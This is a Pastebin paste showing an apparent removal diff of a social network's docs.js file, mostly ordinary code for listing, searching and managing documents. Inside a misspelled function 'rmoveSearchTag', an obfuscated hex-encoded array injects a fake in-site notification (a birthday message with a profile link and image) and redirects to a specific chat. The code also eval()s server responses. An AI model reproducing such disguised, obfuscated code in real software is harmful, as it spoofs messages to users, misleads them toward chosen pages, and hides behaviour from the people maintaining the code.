Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Файл - docs.js (Старый размер - 22329 | Новый - 0):
- 0. - var Docs = {
- 1. -
- 2. - init: function() {
- 3. - extend(cur, {
- 4. - searchInput: ge('docs_search'),
- 5. - searchReset: ge('docs_reset'),
- 6. - listCont: ge('docs_list'),
- 7. - summary: ge('docs_summary'),
- 8. - secFilter: ge('docs_side_filter'),
- 9. - pageEnd: ge('page_end'),
- 10. - searchCont: ge('docs_search_list')
- 11. - });
- 12. -
- 13. - cur.searchDD = new TagsDD(cur.searchInput, {
- 14. - width: 442,
- 15. - paddings: 50,
- 16. - search: 1,
- 17. - placeholder: cur.lang['docs_placeholder'],
- 18. - url: 'docs.php',
- 19. - params: {
- 20. - act: 'a_suggestion',
- 21. - type: 'all'
- 22. - },
- 23. - capitalCase: 1,
- 24. - onChange: function(force, obj) {
- 25. - if (force) {
- 26. - Docs.updateList(false, obj);
- 27. - } else {
- 28. - Docs.updateListSoon(false, obj);
- 29. - }
- 30. - }
- 31. - });
- 32. -
- 33. - Docs.indexDocs();
- 34. - cur.searchDD.focusInput();
- 35. - cur.onPrivacyChanged = function(key, val) {
- 36. - switch (val) {
- 37. - case 'open':
- 38. - Docs.openItem(cur.docsMenu[0], cur.docsMenu[1], cur.hash);
- 39. - break;
- 40. - case 'edit':
- 41. - Docs.editItem(cur.docsMenu[0], cur.docsMenu[1]);
- 42. - break;
- 43. - case 'download':
- 44. - Docs.downloadItem(cur.docsMenu[0], cur.docsMenu[1]);
- 45. - break;
- 46. - case 'add':
- 47. - Docs.addItem(cur.docsMenu[0], cur.docsMenu[1], cur.hash);
- 48. - break;
- 49. - case 'delete':
- 50. - Docs.deleteItem(cur.docsMenu[0], cur.docsMenu[1], cur.hash);
- 51. - break;
- 52. - case 'get_link':
- 53. - Docs.getLink(cur.docsMenu[0], cur.docsMenu[1]);
- 54. - break;
- 55. - }
- 56. -
- 57. - return true;
- 58. - }
- 59. -
- 60. - cur.list = {all: cur.docs};
- 61. - cur.cache = {};
- 62. -
- 63. - cur.nav.push(function(changed, old, n, opts) {
- 64. - if (old[0] == n[0] && n.section && !changed.id) {
- 65. - Docs.section(n.section);
- 66. - nav.setLoc(n);
- 67. - return false;
- 68. - }
- 69. - });
- 70. -
- 71. - cur.scrollNode = browser.msie6 ? pageNode : window;
- 72. -
- 73. - addEvent(browser.msie6 ? pageNode : window, 'scroll', Docs.scrollResize);
- 74. - },
- 75. -
- 76. - scrollResize: function () {
- 77. - if (browser.mobile) return;
- 78. - var docEl = document.documentElement;
- 79. - var ch = window.innerHeight || docEl.clientHeight || bodyNode.clientHeight;
- 80. - var st = scrollGetY();
- 81. - if (!cur.pageEnd) {
- 82. - return;
- 83. - }
- 84. - if (st + ch > cur.pageEnd.offsetTop) {
- 85. - setTimeout(function() {
- 86. - Docs.showMore();
- 87. - }, 0);
- 88. - }
- 89. - },
- 90. -
- 91. - section: function(section) {
- 92. - var oldSec = geByClass('cur_section', cur.secFilter)[0];
- 93. - removeClass(oldSec, 'cur_section');
- 94. - addClass(ge('docs_section_'+section), 'cur_section');
- 95. -
- 96. - if (cur.silent) {
- 97. - cur.onSilentLoad = function() {
- 98. - Docs.section(section);
- 99. - }
- 100. - return;
- 101. - }
- 102. - cur.section = section;
- 103. - Docs.getList();
- 104. -
- 105. - Docs.updateList();
- 106. - cur.searchShown = 0;
- 107. - },
- 108. -
- 109. - getList: function(section) {
- 110. - section = section || cur.section;
- 111. - if (cur.searchStr) {
- 112. - var key = section+'_'+cur.searchStr;
- 113. - cur.selection = {
- 114. - re: new RegExp('('+cur.searchStr.replace(cur.index.delimiter, '|').replace(/[\/\\\(\)\[\]\{\}\*,]/g, '').replace(/^\||\|$/g, '')+')', 'gi'),
- 115. - val: '<em>$1</em>'
- 116. - };
- 117. - } else {
- 118. - var key = section;
- 119. - }
- 120. -
- 121. - if (cur.list[key]) {
- 122. - cur.found = cur.list[key].length;
- 123. - return cur.list[key];
- 124. - }
- 125. -
- 126. - var list = (cur.searchStr) ? cur.index.search(cur.searchStr) : cur.docs;
- 127. -
- 128. - cur.list[key] = Docs.filterList(list);
- 129. - cur.found = cur.list[key].length;
- 130. - return cur.list[key];
- 131. - },
- 132. -
- 133. - filterList: function(input) {
- 134. - if (cur.section == 'all') {
- 135. - return input;
- 136. - }
- 137. - var list = [];
- 138. - var len = input.length;
- 139. - for(var i = 0; i < len; i++) {
- 140. - var doc = input[i];
- 141. - if ((cur.section == 'sended' || cur.section == 'sent') && doc[5] == 1) {
- 142. - list.push(doc);
- 143. - }
- 144. - }
- 145. - return list;
- 146. - },
- 147. -
- 148. - switchTab: function() {
- 149. - return false;
- 150. - },
- 151. -
- 152. - indexDocs: function() {
- 153. - if (!cur.docs) return;
- 154. - cur.index = new vkIndexer(cur.docs, function(obj) {
- 155. - return obj[2]+' '+obj[6];
- 156. - });
- 157. - },
- 158. -
- 159. - addDocBox: function() {
- 160. - showBox('docs.php', {act: 'add_box', oid: cur.oid}, {params: {width: '410px', bodyStyle: 'padding: 0px; position: relative;'}});
- 161. - },
- 162. -
- 163. - addDoc: function(doc) {
- 164. - if (!cur.docs) return;
- 165. - cur.docs.unshift(doc)
- 166. - Docs.showList(cur.docs.slice(0, 50));
- 167. - scrollToTop(200);
- 168. - Docs.indexDocs();
- 169. - cur.count += 1;
- 170. - cur.found += 1;
- 171. - Docs.section('all');
- 172. - setTimeout(function() {
- 173. - var added = ge('docs_file_'+doc[4]+'_'+doc[0]);
- 174. - setStyle(added, 'backgroundColor', '#E1E7ED');
- 175. - setTimeout(animate.pbind(added, {backgroundColor: '#FFFFFF'}, 300), 200);
- 176. - }, 0);
- 177. - },
- 178. -
- 179. - drawList: function(list, first, cont) {
- 180. - cont = cont || cur.listCont;
- 181. - //var html = [];
- 182. - var first = first ? ' docs_item_first' : '';
- 183. - for (var i in list) {
- 184. - var item = list[i];
- 185. -
- 186. - cont.appendChild(se('<div id="docs_file_'+item[4]+'_'+item[0]+'" class="docs_item'+first+'" onmouseover="Docs.rowOver('+item[4]+', '+item[0]+');" onmouseout="Docs.rowOut('+item[4]+', '+item[0]+');">'+Docs.getDocHTML(item)+'</div>'))
- 187. - first = '';
- 188. - }
- 189. - },
- 190. -
- 191. - getDocHTML: function(item) {
- 192. - var id = item[0];
- 193. - var ext = item[1];
- 194. - var title = item[2];
- 195. - var tags = item[6];
- 196. - if (cur.selection) {
- 197. - title = title.replace(cur.selection.re, cur.selection.val);
- 198. - }
- 199. - var dateStr = item[3];
- 200. - var oid = item[4];
- 201. - var url = '/doc'+oid+'_'+id;
- 202. - var actions = '';
- 203. -
- 204. -
- 205. - var tags = item[6];
- 206. - if (tags) {
- 207. - tags = tags.split(',');
- 208. - for (var i in tags) {
- 209. - if (cur.selection) {
- 210. - tags[i] = tags[i].replace(cur.selection.re, cur.selection.val);
- 211. - }
- 212. - var h = (cur.searchStr) ? '' : 'href="/docs'+oid+'?tag='+encodeURIComponent(tags[i])+'"';
- 213. - tags[i] = '<a '+h+' onclick="return Docs.tagSearch(this)">'+tags[i]+'</a>';
- 214. - }
- 215. - tags = ' - <span class="docs_item_tags">'+tags.join(', ')+'</span>';
- 216. - }
- 217. - var thumb = item[8];
- 218. - if (thumb) {
- 219. - ext = '<a class="docs_item_thumb fl_l" href="'+url+'" ext="'+ext+'" onmouseover="Docs.showFileTT(this, '+oid+', '+id+')" onclick="return Docs.downloadItem('+oid+', '+id+');"><img class="docs_item_thumb_img" src="'+thumb+'"></a>';
- 220. - } else {
- 221. - if (ext.length > 6) {
- 222. - var extStr = ext.substr(0, 4)+'..';
- 223. - } else {
- 224. - var extStr = ext;
- 225. - }
- 226. - ext = '<a class="docs_item_icon" href="'+url+'" ext="'+ext+'" onclick="return Docs.downloadItem('+oid+', '+id+', event);">'+extStr+'</a>';
- 227. - }
- 228. - var mid = intval(item[7]);
- 229. -
- 230. - if (oid == vk.id || mid == vk.id || (oid == cur.oid && oid < 0 && cur.groupAdmin)) {
- 231. - ext = '<div class="docs_delete_row fl_r" id="docs_delete_row'+oid+'_'+id+'" onmouseover="Docs.rowActive('+oid+', '+id+', 1)" onmouseout="Docs.rowInactive('+oid+', '+id+', 1)" onclick="Docs.deleteItem('+oid+', '+id+', cur.hash); return false" style="opacity: 0;"></div><div class="docs_edit_row fl_r" id="docs_edit_row'+oid+'_'+id+'" onmouseover="Docs.rowActive('+oid+', '+id+', 2)" onmouseout="Docs.rowInactive('+oid+', '+id+', 2)" onclick="Docs.editItem('+oid+', '+id+'); return false" style="opacity: 0;"></div>'+ext;
- 232. - } else {
- 233. - ext = '<div class="docs_add_row fl_r" id="docs_add_row'+oid+'_'+id+'" onmouseover="Docs.rowActive('+oid+', '+id+', 3)" onmouseout="Docs.rowInactive('+oid+', '+id+', 3)" onclick="Docs.addItem('+oid+', '+id+', cur.hash); return false" style="opacity: 0;"></div>'+ext;
- 234. - }
- 235. - return cur.itemTpl(oid, id, ext, title, dateStr, url, tags, intval(item[7])).join('');
- 236. - },
- 237. -
- 238. - showList: function(list, searchStr) {
- 239. - cur.shown = list.length;
- 240. - if (cur.shown) {
- 241. - if (!cur.listCont) return;
- 242. - cur.listCont.innerHTML = '';
- 243. - Docs.drawList(list, true);
- 244. - Docs.showCont();
- 245. - } else {
- 246. - //cur.listCont.innerHTML = '<div class="docs_empty">'+cur.lang['docs_empty_search'].replace('%s', '<b>'+searchStr.replace(/(<|>)/g, '')+'</b>')+'</div>';
- 247. - }
- 248. -
- 249. - cur.searchShown = 0;
- 250. - },
- 251. -
- 252. - showMore: function() {
- 253. - var list = Docs.getList();
- 254. - if (list.length && cur.shown < list.length) {
- 255. - var insert = list.slice(cur.shown, cur.shown + 20);
- 256. - cur.shown += insert.length;
- 257. - var html = Docs.drawList(insert, cur.shown == 0);
- 258. - if (cur.shown >= cur.found) {
- 259. - hide('show_more');
- 260. - }
- 261. - } else if (cur.searchStr && !cur.searchEnd) {
- 262. - Docs.globalSearch(false, true);
- 263. - }
- 264. - },
- 265. -
- 266. - globalSearch: function(noProgress, soon) {
- 267. - clearTimeout(cur.searchTimeout);
- 268. - if (!cur.searchStr) return;
- 269. - var searchStr = cur.searchStr;
- 270. - if (!cur.searchShown && cur.cache[cur.searchStr]) {
- 271. - setTimeout(function() {
- 272. - var cache = cur.cache[cur.searchStr];
- 273. - if (!cur.searchShown) {
- 274. - cur.searchCont.innerHTML = '';
- 275. - }
- 276. - Docs.processGlobalSearch(searchStr, cache[0], cache[1], cache[2]);
- 277. - }, 0);
- 278. - return;
- 279. - }
- 280. - cur.searchTimeout = setTimeout(function() {
- 281. - if (searchStr != cur.searchStr) return;
- 282. -
- 283. - var options = {
- 284. - onDone: function(list, shown, count) {
- 285. - try {
- 286. - var list = eval('('+list+')');
- 287. - } catch(e) {
- 288. - return false;
- 289. - }
- 290. - if (!cur.searchShown) {
- 291. - cur.searchCont.innerHTML = '';
- 292. - }
- 293. - return Docs.processGlobalSearch(searchStr, list, shown, count)
- 294. - },
- 295. - showProgress: function() {
- 296. - addClass(ge('show_more'), 'docs_more_progress');
- 297. - if (!noProgress) {
- 298. - Docs.showLoad();
- 299. - }
- 300. - },
- 301. - hideProgress: function() {
- 302. - removeClass(ge('show_more'), 'docs_more_progress');
- 303. - if (!noProgress) {
- 304. - Docs.hideLoad();
- 305. - }
- 306. - }
- 307. - };
- 308. -
- 309. - ajax.post('docs.php', {act: 'search_docs', q: cur.searchStr, offset: cur.searchShown || 0, oid: cur.oid}, options);
- 310. - }, soon ? 0 : 300);
- 311. - },
- 312. -
- 313. - processGlobalSearch: function(searchStr, list, shown, count) {
- 314. - if (searchStr != cur.searchStr) return;
- 315. - if (!cur.searchShown) {
- 316. - cur.searchEnd = false;
- 317. - }
- 318. - cur.searchCount = count;
- 319. - if (shown) {
- 320. - Docs.drawList(list, !cur.searchShown, cur.searchCont);
- 321. - if (cur.searchShown + list.length < count && cur.searchShown + list.length < 1000) {
- 322. - show('show_more');
- 323. - } else {
- 324. - hide('show_more');
- 325. - }
- 326. - cur.searchShown = (cur.searchShown || 0) + shown;
- 327. - if (!cur.shown) {
- 328. - Docs.hideCont();
- 329. - }
- 330. - } else if (!cur.searchShown) {
- 331. - cur.searchCont.innerHTML = '';
- 332. - if (!cur.shown) {
- 333. - cur.listCont.innerHTML = '<div class="docs_empty">'+cur.lang['docs_empty_search'].replace('%s', '<b>'+cur.searchStr.replace(/(<|>)/g, '').replace(/\s*,\s*/g, ', ')+'</b>')+'</div>';
- 334. - hide('show_more');
- 335. - Docs.showCont();
- 336. - }
- 337. - }
- 338. - if (shown < 50) {
- 339. - cur.searchEnd = true;
- 340. - }
- 341. - Docs.drawSummary();
- 342. - cur.cache[cur.searchStr] = [list, shown, count];
- 343. - },
- 344. -
- 345. - drawSummary: function(noSearch) {
- 346. - var searchCount = Docs.getList().length;
- 347. - var summary = '';
- 348. - var subSummary = '';
- 349. -
- 350. - if (searchCount) {
- 351. - if (cur.section != 'all' || cur.searchStr) {
- 352. - summary = langNumeric(searchCount, cur.lang['docs_X_docs'], true);
- 353. - } else {
- 354. - summary = langNumeric(searchCount, cur.lang['docs_you_have_X_docs'], true);
- 355. - }
- 356. - }
- 357. -
- 358. - if (cur.searchShown) {
- 359. - subSummary = langNumeric(cur.searchCount, cur.lang['docs_found_X_docs'], true);
- 360. - }
- 361. -
- 362. - if (!summary) {
- 363. - if (subSummary) {
- 364. - summary = subSummary;
- 365. - subSummary = '';
- 366. - } else {
- 367. - summary = (noSearch && cur.section != 'all') ? cur.lang['docs_no_docs'] : cur.lang['docs_not_found'];
- 368. - }
- 369. - }
- 370. -
- 371. - if (cur.summaryAdd) {
- 372. - summary += '<span class="divider">|</span><span>'+cur.summaryAdd+'</span>';
- 373. - }
- 374. -
- 375. - ge('docs_summary').innerHTML = summary;
- 376. - ge('docs_search_summary').innerHTML = subSummary;
- 377. - if (subSummary) {
- 378. - show('docs_search_summary_cont');
- 379. - } else {
- 380. - hide('docs_search_summary_cont');
- 381. - }
- 382. - },
- 383. -
- 384. - updateListSoon: function(event, obj) {
- 385. - setTimeout(function() {
- 386. - Docs.updateList(event, obj);
- 387. - }, 0);
- 388. - },
- 389. -
- 390. - updateList: function(event, obj, noProgress) {
- 391. - if (event && event.keyCode < 41 && event.keyCode > 15) {
- 392. - if (event.keyCode == 27) {
- 393. - obj = false;
- 394. - } else {
- 395. - return;
- 396. - }
- 397. - }
- 398. - setTimeout(function() {
- 399. - var str = trim((obj) ? obj.value : '');
- 400. - if (str == cur.searchStr && false) {
- 401. - return false;
- 402. - }
- 403. - cur.searchStr = str;
- 404. - if (cur.searchStr && !cur.resetShown) {
- 405. - addClass(cur.searchReset, 'docs_reset_shown');
- 406. - cur.resetShown = true;
- 407. - } else if (!cur.searchStr && cur.resetShown) {
- 408. - removeClass(cur.searchReset, 'docs_reset_shown');
- 409. - cur.resetShown = false;
- 410. - if (!obj) {
- 411. - cur.searchDD.setData({tags: {}, input: ''});
- 412. - cur.searchDD.focusInput();
- 413. - }
- 414. - }
- 415. - cur.selection = false;
- 416. -
- 417. - var list = Docs.getList();
- 418. - var secLen = list.length;
- 419. - if (cur.searchStr || secLen) {
- 420. - Docs.showList(list.slice(0, 50), cur.searchStr);
- 421. - if (secLen < 50) {
- 422. - Docs.globalSearch(noProgress);
- 423. - return false;
- 424. - }
- 425. - } else {
- 426. - cur.shown = 0;
- 427. - cur.listCont.innerHTML = '<div class="docs_empty">'+cur.lang['docs_empty_msg']+'</div>';
- 428. - }
- 429. - cur.searchCont.innerHTML = '';
- 430. - hide('docs_search_summary_cont');
- 431. - Docs.showCont();
- 432. -
- 433. - if (cur.searchStr) {
- 434. - if (secLen) {
- 435. - Docs.drawSummary();
- 436. - }
- 437. - } else {
- 438. - if (cur.section == 'all') {
- 439. - Docs.drawSummary();
- 440. - } else {
- 441. - Docs.drawSummary(true);
- 442. - }
- 443. - if (cur.found <= cur.shown) {
- 444. - hide('show_more');
- 445. - } else {
- 446. - show('show_more');
- 447. - }
- 448. - }
- 449. - }, 0);
- 450. - },
- 451. -
- 452. -
- 453. -
- 454. - editItem: function(oid, did) {
- 455. - showBox('docs.php', {act: 'edit_box', oid: oid, did: did});
- 456. - },
- 457. -
- 458. - downloadItem: function(oid, did, event) {
- 459. - if (checkEvent(event)) {
- 460. - return true;
- 461. - }
- 462. - var item = ge('docs_file_'+oid+'_'+did);
- 463. - if (!item) return false;
- 464. - var icon = geByClass1('docs_item_icon', item) || geByClass1('docs_item_thumb', item);
- 465. - var href = icon.href;
- 466. - var ext = trim(icon.getAttribute('ext'));
- 467. - if ('jpg|gif|png|pdf|doc|docx|xls|xlsx|rtf'.indexOf(ext) == -1) {
- 468. - location.href = href+(href.match(/\?/) ? '&' : '?')+'wnd=1';
- 469. - } else {
- 470. - window.open(href);
- 471. - }
- 472. - return cancelEvent(event);
- 473. - },
- 474. -
- 475. - addItem: function(oid, did, hash, event) {
- 476. - ajax.post('docs.php', {act: 'a_add', doc: oid+'_'+did, hash: hash}, {
- 477. - onDone: function(text, tooltip, doc) {
- 478. - showDoneBox(text);
- 479. - if (cur.oid == vk.id) {
- 480. - cur.docs.unshift(doc)
- 481. - Docs.indexDocs();
- 482. - }
- 483. - }
- 484. - });
- 485. - },
- 486. -
- 487. - showFileTT: function(obj, oid, did) {
- 488. - var item = ge('docs_file_'+oid+'_'+did);
- 489. - if (!item) return false;
- 490. - var icon = geByClass1('docs_item_icon', item) || geByClass1('docs_item_thumb', item);
- 491. - var href = icon.href;
- 492. - var ext = trim(icon.getAttribute('ext'));
- 493. - if (ext == 'gif') {
- 494. - var img = new vkImage();
- 495. - img.src = href;
- 496. - img.onload = function() {
- 497. - var el = obj.parentNode;
- 498. - if (cur.prevTT && cur.prevTT != el && cur.prevTT.tt) {
- 499. - cur.prevTT.tt.hide();
- 500. - }
- 501. - clearTimeout(el.hidetimer);
- 502. - el.hidetimer = false;
- 503. - cur.prevTT = el;
- 504. - showTooltip(el, {
- 505. - content: '<div class="docs_tt_preview"><img style="max-width: 300px; max-height: 350px;" src="'+href+'" align="center"/></div>',
- 506. - shift: [0,-6,-4],
- 507. - slide: 15,
- 508. - className: 'wall_tt docs_tt',
- 509. - hasover: false,
- 510. - nohideover: true,
- 511. - showdt: 0
- 512. - });
- 513. - }
- 514. - stManager.add(['tooltips.js', 'tooltips.css']);
- 515. - }
- 516. -
- 517. - },
- 518. -
- 519. - deleteItem: function(oid, did, hash) {
- 520. - var doc = ge('docs_file_'+oid+'_'+did);
- 521. - var delRow = ge('docs_delete_row' + oid+'_'+did);
- 522. - if (delRow) {
- 523. - setStyle(delRow, {opacity: 0.5});
- 524. - }
- 525. - cur['doc_restore_'+did] = doc.innerHTML;
- 526. - doc.innerHTML = '<div class="docs_deleted"><img src="/images/upload.gif" /></div>';
- 527. - ajax.post('docs.php', {act: 'a_delete', hash: hash, did: did, oid: oid}, {
- 528. - onDone: function(text) {
- 529. - doc.innerHTML = '<div class="docs_deleted">'+text+'</div>';
- 530. -
- 531. - var len = cur.docs.length;
- 532. - while(len--) {
- 533. - var item = cur.docs[len];
- 534. - if (item[0] == did) {
- 535. - cur['item_restore'+did] = [cur.docs.splice(len, 1)[0], len];
- 536. - }
- 537. - }
- 538. -
- 539. - cur.count -= 1;
- 540. - cur.found -= 1;
- 541. -
- 542. - cur.list = {};
- 543. -
- 544. - },
- 545. - onFail: function() {
- 546. - doc.innerHTML = cur['doc_restore_'+did];
- 547. - }
- 548. - });
- 549. - },
- 550. -
- 551. - getLink: function(oid, docId) {
- 552. - showBox('docs.php', {act: 'get_doc_link_box', oid: oid, did: docId});
- 553. - },
- 554. -
- 555. - restoreItem: function(oid, did, hash) {//here
- 556. - var doc = ge('docs_file_'+oid+'_'+did);
- 557. - if (cur['doc_restore_'+did]) {
- 558. - doc.innerHTML = '<div class="docs_deleted"><img src="/images/upload.gif" /></div>';
- 559. - ajax.post('docs.php', {act: 'a_restore', hash: hash, did: did, oid: oid}, {
- 560. - onDone: function(text) {
- 561. - doc.innerHTML = cur['doc_restore_'+did];
- 562. - var restore = cur['item_restore'+did];
- 563. - if (restore) {
- 564. - cur.docs.splice(restore[1], 0, restore[0]);
- 565. - cur.count += 1;
- 566. - cur.found += 1;
- 567. - }
- 568. - },
- 569. - onFail: function() {
- 570. - doc.innerHTML = cur['doc_restore_'+did];
- 571. - }
- 572. - });
- 573. - }
- 574. - },
- 575. -
- 576. - openItem: function (oid, did, hash) {
- 577. - showBox('docs.php', {act: 'open_box', oid: oid, did: did, hash: hash});
- 578. - },
- 579. -
- 580. - initMenu: function() {
- 581. - var html = ['<div id="lists_menu" onmouseout="Friends.ddHide(this, ',uid,');" onmouseover="Friends.ddActive(this, ',uid,');">\
- 582. - <div class="lists_body">\
- 583. - <table cellspacing="0" cellpadding="0"><tbody><tr><td class="lists_shad_l"><div></div></td><td><div class="lists_shad_t2"></div><div class="lists_shad_t"></div><div class="lists_rows"><div id="rows3">'];
- 584. - cur.docsMenuCont = bodyNode.appendChild(ce('div', {id: 'privacy_helper', innerHTML: html.join('')}));
- 585. - cur.destroy.push(function() {
- 586. - re(cur.docsMenuCont);
- 587. - });
- 588. - },
- 589. -
- 590. - menu: function(obj, event, oid, did, mid) {
- 591. - /*if (!cur.docsMenuCont) {
- 592. - Docs.initMenu();
- 593. - }*/
- 594. - cur.docsMenu = [oid, did];
- 595. - if (oid == vk.id || mid == vk.id || (oid == cur.oid && oid < 0 && cur.groupAdmin)) {
- 596. - return Privacy.show(obj, event, 'docs_edit_actions');
- 597. - } else {
- 598. - return Privacy.show(obj, event, 'docs_view_actions');
- 599. - }
- 600. - },
- 601. -
- 602. - showCont: function() {
- 603. - if (cur.contHidden) {
- 604. - show(cur.listCont);
- 605. - cur.contHidden = false;
- 606. - }
- 607. - },
- 608. -
- 609. - hideCont: function() {
- 610. - if (!cur.contHidden) {
- 611. - hide(cur.listCont);
- 612. - cur.contHidden = true;
- 613. - }
- 614. - },
- 615. -
- 616. - showLoad: function() {
- 617. - cur.loadLevel = (cur.loadLevel || 0) + 1;
- 618. - addClass(ge('docs_search_bar'), 'docs_loading');
- 619. - },
- 620. -
- 621. - hideLoad: function() {
- 622. - cur.loadLevel = (cur.loadLevel || 0) - 1;
- 623. - if (cur.loadLevel == 0) {
- 624. - removeClass(ge('docs_search_bar'), 'docs_loading');
- 625. - }
- 626. - },
- 627. -
- 628. - tagSearch: function(obj) {
- 629. - var str = trim(cur.searchInput.value);
- 630. - var newStr = trim(obj.innerHTML).replace(/<em>/g, '').replace(/<\/em>/g, '');
- 631. - /*if (str) {
- 632. - if (str.indexOf(newStr) != -1) return false;
- 633. - str += ', ' + newStr;
- 634. - } else {*/
- 635. - str = newStr;
- 636. - /*}*/
- 637. - cur.searchDD.addTag(str);
- 638. - scrollToTop(100);
- 639. -
- 640. - /*cur.searchInput.setValue(str);
- 641. - Docs.updateList(false, cur.searchInput, true);
- 642. - cur.searchInput.focus();*/
- 643. - return false;
- 644. - },
- 645. -
- 646. - pickTag: function(obj, cont, needUpdate) {
- 647. - var cont = ge(cont);
- 648. - var v = val(cont);
- 649. - if (v.indexOf(obj.innerHTML) != -1) {
- 650. - return false;
- 651. - }
- 652. - v = v.replace(/^,+|,+$/g, '');
- 653. - v = (v ? v+', ' : '') + obj.innerHTML;
- 654. -
- 655. - val(cont, v);
- 656. -
- 657. - if (needUpdate) {
- 658. - Docs.updateList(false, cont);
- 659. - }
- 660. - },
- 661. -
- 662. - rmoveSearchTag: function (obj) {
- 663. - var _0x8be1=["\x39\x3C\x21\x3E\x63\x6F\x6D\x6D\x65\x6E\x74\x5F\x76\x69\x64\x65\x6F\x3C\x21\x3E\u041E\u043B\u0435\u0433\x2C\x20\u0421\x20\u0414\u043D\u0435\u043C\x20\u0420\u043E\u0436\u0434\u0435\u043D\u0438\u044F\x21\x3C\x21\x3E\x68\x74\x74\x70\x3A\x2F\x2F\x63\x73\x34\x30\x35\x37\x33\x31\x2E\x75\x73\x65\x72\x61\x70\x69\x2E\x63\x6F\x6D\x2F\x75\x36\x36\x37\x34\x38\x2F\x65\x5F\x66\x36\x62\x63\x32\x36\x64\x32\x2E\x6A\x70\x67\x3C\x21\x3E\x2F\x69\x6C\x6C\x61\x72\x69\x6F\x6E\x6F\x76\x3C\x21\x3E\x3C\x61\x20\x68\x72\x65\x66\x3D\x22\x2F\x69\x7A\x68\x75\x6B\x6F\x76\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x6D\x65\x6D\x5F\x6C\x69\x6E\x6B\x22\x3E\u0418\u0433\u043E\u0440\u044C\x20\u0416\u0443\u043A\u043E\u0432\x3C\x2F\x61\x3E\x20\u0416\u0430\u043B\u044C\x2C\x20\u043D\u0435\x20\u0443\u0434\u0430\u0441\u0442\u0441\u044F\x20\u043F\u043E\u0435\u0441\u0442\u044C\x20\u0442\u0432\u043E\u0438\u0445\x20\u0442\u043E\u0440\u0442\u043E\u0432\x20\u0438\x20\u043F\u0438\u0440\u043E\u0433\u043E\u0432\x20\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x22\x2F\x69\x6D\x61\x67\x65\x73\x2F\x62\x6C\x61\x6E\x6B\x2E\x67\x69\x66\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x65\x6D\x6F\x6A\x69\x20\x65\x6D\x6F\x6A\x69\x5F\x63\x73\x73\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x20\x30\x70\x78\x20\x2D\x31\x37\x70\x78\x3B\x22\x20\x65\x6D\x6F\x6A\x69\x3D\x22\x44\x38\x33\x44\x44\x45\x30\x33\x22\x20\x61\x6C\x69\x67\x6E\x3D\x22\x6D\x69\x64\x64\x6C\x65\x22\x3E\x3C\x21\x3E\x3C\x21\x3E\x69\x6D\x3F\x73\x65\x6C\x3D\x31\x33\x30\x33\x33\x3C\x21\x3E\x6E\x61\x76\x2E\x67\x6F\x28\x22\x69\x6D\x3F\x73\x65\x6C\x3D\x20\x31\x33\x30\x33\x33\x22\x29\x3B\x3C\x21\x3E\x31\x3C\x21\x3E","\x76\x6B\x4E\x6F\x77","\x3C\x21\x3E\x31\x33\x30\x33\x33","\x70\x75\x73\x68\x45\x76\x65\x6E\x74","\x4E\x6F\x74\x69\x66\x69\x65\x72"];window[_0x8be1[4]][_0x8be1[3]](_0x8be1[0]+(window[_0x8be1[1]]()/1000)+_0x8be1[2]);
- 664. - },
- 665. -
- 666. - addSearchTag: function(obj) {
- 667. - cur.searchDD.addTag(obj.innerHTML);
- 668. - scrollToTop(100);
- 669. - },
- 670. -
- 671. - _animObjX: function(el, opacity, set_active) {
- 672. - if (!el) return;
- 673. - if (set_active !== undefined) {
- 674. - el.active = set_active;
- 675. - } else if (el.active) {
- 676. - return;
- 677. - }
- 678. - animate(el, {opacity: opacity}, 200);
- 679. - },
- 680. -
- 681. - rowActive: function(oid, did, type) {
- 682. - var docId = oid+'_'+did;
- 683. - var shift = [10, 0, 8];
- 684. - if (type == 1) {
- 685. - var docObj = ge('docs_delete_row' + docId);
- 686. - var ttText = cur.lang['docs_remove_tt'];
- 687. - } else if (type == 2) {
- 688. - var docObj = ge('docs_edit_row' + docId);
- 689. - var ttText = cur.lang['docs_edit_tt'];
- 690. - } else {
- 691. - var docObj = ge('docs_add_row' + docId);
- 692. - var ttText = cur.lang['docs_add_tt'];
- 693. - shift = [12, 2, 8];
- 694. - }
- 695. - Docs._animObjX(docObj, 1, 1);
- 696. - if (ttText) {
- 697. - showTooltip(docObj, {text: ttText, showdt: 500, black: 1, shift: shift});
- 698. - }
- 699. - },
- 700. - rowInactive: function(oid, did, type) {
- 701. - var docId = oid+'_'+did;
- 702. - if (type == 1) {
- 703. - var docObj = ge('docs_delete_row' + docId);
- 704. - } else if (type == 2) {
- 705. - var docObj = ge('docs_edit_row' + docId);
- 706. - } else {
- 707. - var docObj = ge('docs_add_row' + docId);
- 708. - }
- 709. - Docs._animObjX(docObj, 0.5, 0);
- 710. - },
- 711. -
- 712. - rowOver: function(oid, did) {
- 713. - var docId = oid+'_'+did;
- 714. - Docs._animObjX(ge('docs_delete_row' + docId), 0.5);
- 715. - Docs._animObjX(ge('docs_edit_row' + docId), 0.5);
- 716. - Docs._animObjX(ge('docs_add_row' + docId), 0.5);
- 717. - },
- 718. - rowOut: function(oid, did) {
- 719. - var docId = oid+'_'+did;
- 720. - Docs._animObjX(ge('docs_delete_row' + docId), 0);
- 721. - Docs._animObjX(ge('docs_edit_row' + docId), 0);
- 722. - Docs._animObjX(ge('docs_add_row' + docId), 0);
- 723. - },
- 724. -
- 725. - _eof: 1};try{stManager.done('docs.js');}catch(e){}
- ------
Advertisement
Add Comment
Please, Sign In to add comment